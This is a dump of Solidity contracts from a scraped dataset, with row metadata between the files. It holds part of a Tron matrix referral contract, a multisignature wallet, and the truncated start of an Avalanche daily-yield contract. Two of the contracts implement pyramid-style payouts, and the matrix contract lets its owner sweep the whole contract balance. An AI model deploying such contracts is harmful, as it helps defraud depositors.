event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place, uint reinvestCount);
event MissedTrxReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level, uint reinvestCount);
event SentExtraTrxDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level, uint reinvestCount);
event FirstLost(address indexed receiver, address indexed from, uint8 matrix, uint8 level, uint reinvestCount);
event SentTrxDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level, uint reinvestCount);
constructor(address ownerAddress) public {
levelPrice[1] = 100 trx;
levelPrice[2] = 200 trx;
levelPrice[3] = 400 trx;
levelPrice[4] = 800 trx;
levelPrice[5] = 1600 trx;
levelPrice[6] = 3200 trx;
levelPrice[7] = 6400 trx;
levelPrice[8] = 12800 trx;
levelPrice[9] = 25600 trx;
levelPrice[10] = 51200 trx;
levelPrice[11] = 102400 trx;
levelPrice[12] = 204800 trx;
levelPrice[13] = 358400 trx;
levelPrice[14] = 627200 trx;
levelPrice[15] = 1097600 trx;
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function setXGold(address xGoldAddress) public {
require(msg.sender == owner, "onlyOwner");
xGOLD = XGOLD(xGoldAddress);
}
function withdrawLostTRXFromBalance() public {
require(msg.sender == owner, "onlyOwner");
address(uint160(owner)).transfer(address(this).balance);
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(users[msg.sender].activeX3Levels[level-1], "buy previous level first");
require(!users[msg.sender].activeX3Levels[level], "level already activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level, users[msg.sender].x3Matrix[level].reinvestCount);
} else {
require(users[msg.sender].activeX6Levels[level-1], "buy previous level first");
require(!users[msg.sender].activeX6Levels[level], "level already activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level, users[msg.sender].x6Matrix[level].reinvestCount);
}
}
function registration(address userAddress, address referrerAddress) private {
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
if (address(xGOLD) != address(0)) {
xGOLD.deposit(userAddress, referrerAddress);
require(msg.value == levelPrice[currentStartingLevel] * 3, "invalid registration cost");
} else {
require(msg.value == levelPrice[currentStartingLevel] * 2, "invalid registration cost");
}
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length), users[referrerAddress].x3Matrix[level].reinvestCount);
return sendTRXDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3, users[referrerAddress].x3Matrix[level].reinvestCount);
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level, users[referrerAddress].x3Matrix[level].reinvestCount);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTRXDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level, users[owner].x3Matrix[level].reinvestCount);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length), users[referrerAddress].x6Matrix[level].reinvestCount);
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendTRXDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5, users[ref].x6Matrix[level].reinvestCount);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6, users[ref].x6Matrix[level].reinvestCount);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3, users[ref].x6Matrix[level].reinvestCount);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4, users[ref].x6Matrix[level].reinvestCount);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5, users[ref].x6Matrix[level].reinvestCount);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6, users[ref].x6Matrix[level].reinvestCount);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length), users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].reinvestCount);
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length), users[referrerAddress].x6Matrix[level].reinvestCount);
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length), users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].reinvestCount);
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length), users[referrerAddress].x6Matrix[level].reinvestCount);
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendTRXDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level, users[referrerAddress].x6Matrix[level].reinvestCount);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level, users[owner].x6Matrix[level].reinvestCount);
sendTRXDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) private returns(address) {
bool isFirst = true;
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
} else if (isFirst) {
emit FirstLost(users[userAddress].referrer, userAddress, 1, level, users[users[userAddress].referrer].x3Matrix[level].reinvestCount);
isFirst = false;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) private returns(address) {
bool isFirst = true;
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
} else if (isFirst) {
emit FirstLost(users[userAddress].referrer, userAddress, 2, level, users[users[userAddress].referrer].x6Matrix[level].reinvestCount);
isFirst = false;
}
userAddress = users[userAddress].referrer;
}
}
function findX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool, uint) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked,
users[userAddress].x3Matrix[level].reinvestCount);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address, uint) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].closedPart,
users[userAddress].x6Matrix[level].reinvestCount);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findTrxReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedTrxReceive(receiver, _from, 1, level, users[receiver].x3Matrix[level].reinvestCount);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedTrxReceive(receiver, _from, 2, level, users[receiver].x6Matrix[level].reinvestCount);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendTRXDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findTrxReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
address(uint160(owner)).send(address(this).balance);
return;
}
if (isExtraDividends) {
if(matrix == 1) {
emit SentExtraTrxDividends(_from, receiver, matrix, level, users[receiver].x3Matrix[level].reinvestCount);
} else {
emit SentExtraTrxDividends(_from, receiver, matrix, level, users[receiver].x6Matrix[level].reinvestCount);
}
} else if (receiver != owner) {
if(matrix == 1) {
emit SentTrxDividends(_from, receiver, matrix, level, users[receiver].x3Matrix[level].reinvestCount);
} else {
emit SentTrxDividends(_from, receiver, matrix, level, users[receiver].x6Matrix[level].reinvestCount);
}
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 304,443 | 634 |
335670f1004510d26d52878f1af1a4b095663adc5e040a5fc914b9c42dd213cd
| 12,814 |
.sol
|
Solidity
| false |
316669216
|
cryptopixelfrog/xXtokenMultisigProxy
|
c2976b61bbd50c5b48d71b6e9aabf21df21e62e9
|
contracts/MultiSigWallet_solc_0.4.15/MultiSigWallet.sol
| 2,718 | 12,496 |
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
uint constant public MAX_OWNER_COUNT = 50;
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
| 273,649 | 635 |
f8dd27631865154b7102b5ce8b2c4e4a3e6864b0b1139905af7ed4f2f408d1c9
| 11,990 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/2a/2a8c2a7cba3a600567e77e04222c10b5ed3d518a_AVALANCHEFOMO.sol
| 3,675 | 11,214 |
pragma solidity 0.5.8;
contract AVALANCHEFOMO {
using SafeMath for uint256;
using SafeMath for uint8;
uint256 constant public INVEST_MIN_AMOUNT = 0.1 ether; // 0.1 AVAX
uint256[] public REFERRAL_PERCENTS = [50, 30, 20];
uint256 constant public PROJECT_FEE = 80;
uint256 constant public DEVELOPER_FEE = 20;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public PERCENTS_DIVIDER= 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAX_HOLD_PERCENT = 15;
uint256 WITHDRAW_FEE_1 = 50; //5%
uint256 WITHDRAW_FEE_2 = 100; //10%
uint256 public totalStaked;
uint256 public totalRefBonus;
uint256 public totalUsers;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
uint256 holdBonusCheckpoint;
address payable referrer;
uint256 referrals;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable private commissionWallet;
address payable private developerWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
constructor(address payable wallet, address payable _developer) public {
require(!isContract(wallet));
commissionWallet = wallet;
developerWallet = _developer;
startUNIX = block.timestamp.add(365 days);
plans.push(Plan(14, 80)); // 8% per day for 14 days
plans.push(Plan(21, 75)); // 7.5% per day for 21 days
plans.push(Plan(28, 70)); // 7% per day for 28 days
plans.push(Plan(14, 80)); // 8% per day for 14 days (at the end, compounding)
plans.push(Plan(21, 75)); // 7.5% per day for 21 days (at the end, compounding)
plans.push(Plan(28, 70)); // 7% per day for 28 days (at the end, compounding)
}
function launch() public {
require(msg.sender == developerWallet);
startUNIX = block.timestamp;
}
function invest(address payable referrer,uint8 plan) public payable {
_invest(referrer, plan, msg.sender, msg.value);
}
function _invest(address payable referrer, uint8 plan, address payable sender, uint256 value) private {
require(value >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
require(startUNIX < block.timestamp, "contract hasn`t started yet");
uint256 fee = value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
uint256 developerFee = value.mul(DEVELOPER_FEE).div(PERCENTS_DIVIDER);
developerWallet.transfer(developerFee);
User storage user = users[sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].referrals = users[upline].referrals.add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
uint256 _refBonus = 0;
address payable upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
upline.transfer(amount);
_refBonus = _refBonus.add(amount);
emit RefBonus(upline, sender, i, amount);
upline = users[upline].referrer;
} else break;
}
totalRefBonus = totalRefBonus.add(_refBonus);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
emit Newbie(sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, value);
user.deposits.push(Deposit(plan, percent, value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(value);
totalUsers = totalUsers.add(1);
emit NewDeposit(sender, plan, percent, value, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
